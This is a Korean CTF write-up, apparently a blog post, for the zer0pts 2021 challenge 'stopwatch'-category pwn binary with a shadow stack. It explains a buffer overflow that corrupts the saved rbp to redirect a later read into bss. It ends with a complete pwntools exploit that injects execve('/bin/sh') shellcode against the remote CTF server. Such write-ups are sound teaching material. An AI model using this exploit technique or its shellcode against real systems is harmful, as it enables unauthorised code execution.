반응형
파일 정보
$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
statically linked, not stripped
$ pwn checksec chall
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
코드
global _start
section .text
%macro call 1
;; __stack_shadow[__stack_depth++] = return_address;
mov ecx, [__stack_depth]
mov qword [__stack_shadow + rcx * 8], %%return_address
inc dword [__stack_depth]
;; goto function
jmp %1
%%return_address:
%endmacro
%macro ret 0
;; goto __stack_shadow[--__stack_depth];
dec dword [__stack_depth]
mov ecx, [__stack_depth]
jmp qword [__stack_shadow + rcx * 8]
%endmacro
_start:
call notvuln
call exit
notvuln:
;; char buf[0x100];
enter 0x100, 0
;; vuln();
call vuln
;; write(1, "Data: ", 6);
mov edx, 6
mov esi, msg_data
xor edi, edi
inc edi
call write
;; read(0, buf, 0x100);
mov edx, 0x100
lea rsi, [rbp-0x100]
xor edi, edi
call read
;; return 0;
xor eax, eax
ret
vuln:
;; char buf[0x100];
enter 0x100, 0
;; write(1, "Data: ", 6);
mov edx, 6
mov esi, msg_data
xor edi, edi
inc edi
call write
;; read(0, buf, 0x1000);
mov edx, 0x1000 ; [!] vulnerability
lea rsi, [rbp-0x100]
xor edi, edi
call read
;; return;
leave
ret
read:
xor eax, eax
syscall
ret
write:
xor eax, eax
inc eax
syscall
ret
exit:
mov eax, 60
syscall
hlt
section .data
msg_data:
db "Data: "
__stack_depth:
dd 0
section .bss
__stack_shadow:
resb 1024
풀이
vuln:
;; char buf[0x100];
enter 0x100, 0
;; write(1, "Data: ", 6);
mov edx, 6
mov esi, msg_data
xor edi, edi
inc edi
call write
;; read(0, buf, 0x1000);
mov edx, 0x1000 ; [!] vulnerability
lea rsi, [rbp-0x100]
xor edi, edi
call read
;; return;
leave
ret
vuln 함수에서 read를 할때 buf는 0x100이지만, 0x1000을 입력을 받으므로 overflow 취약점이 존재한다.
%macro call 1
;; __stack_shadow[__stack_depth++] = return_address;
mov ecx, [__stack_depth]
mov qword [__stack_shadow + rcx * 8], %%return_address
inc dword [__stack_depth]
;; goto function
jmp %1
%%return_address:
%endmacro
%macro ret 0
;; goto __stack_shadow[--__stack_depth];
dec dword [__stack_depth]
mov ecx, [__stack_depth]
jmp qword [__stack_shadow + rcx * 8]
%endmacro
리턴 주소를 bss에 저장이 되어있어 리턴 주소를 overwrite을 할 수 없다.
notvuln:
;; char buf[0x100];
enter 0x100, 0
;; vuln();
call vuln
;; write(1, "Data: ", 6);
mov edx, 6
mov esi, msg_data
xor edi, edi
inc edi
call write
;; read(0, buf, 0x100);
mov edx, 0x100
lea rsi, [rbp-0x100]
xor edi, edi
call read
;; return 0;
xor eax, eax
ret
재미있는 부분은 overwrite을 하면 rbp를 조작할 수 있다.
그러면 notvuln 함수에서 read를 할 때 rbp-0x100 영역에 읽는다.
만약 rbp를 조작하여 bss영역으로 만든다면 return address를 조작할 수 있다.
Exploit
from pwn import *
context.arch = 'amd64'
# p = process('./chall')
p = remote('pwn.ctf.zer0pts.com', 9011)
print(p.recvuntil('Data: '))
payload = b'A' * 0x100
payload += p64(0x600334)
p.send(payload)
print(p.recvuntil('Data: '))
payload = p64(0x600254)
payload += p64(0x0000000000400165)
payload += p64(0x00000000004001d4)
payload += b'\x90' * 8
payload += asm(shellcraft.execve("/bin/sh",0,0))
p.send(payload)
p.interactive()
Flag
zer0pts{1nt3rm3d14t3_pwn3r5_l1k3_2_0v3rwr1t3_s4v3d_RBP}
반응형
'CTF(Capture The Flag) > zeroptf 2021' 카테고리의 다른 글
safe_vector (0) | 2021.04.07 |
---|---|
baby sqli (0) | 2021.03.12 |
GuestFS:AFR (0) | 2021.03.12 |
OneShot (0) | 2021.03.12 |
stopwatch (0) | 2021.03.12 |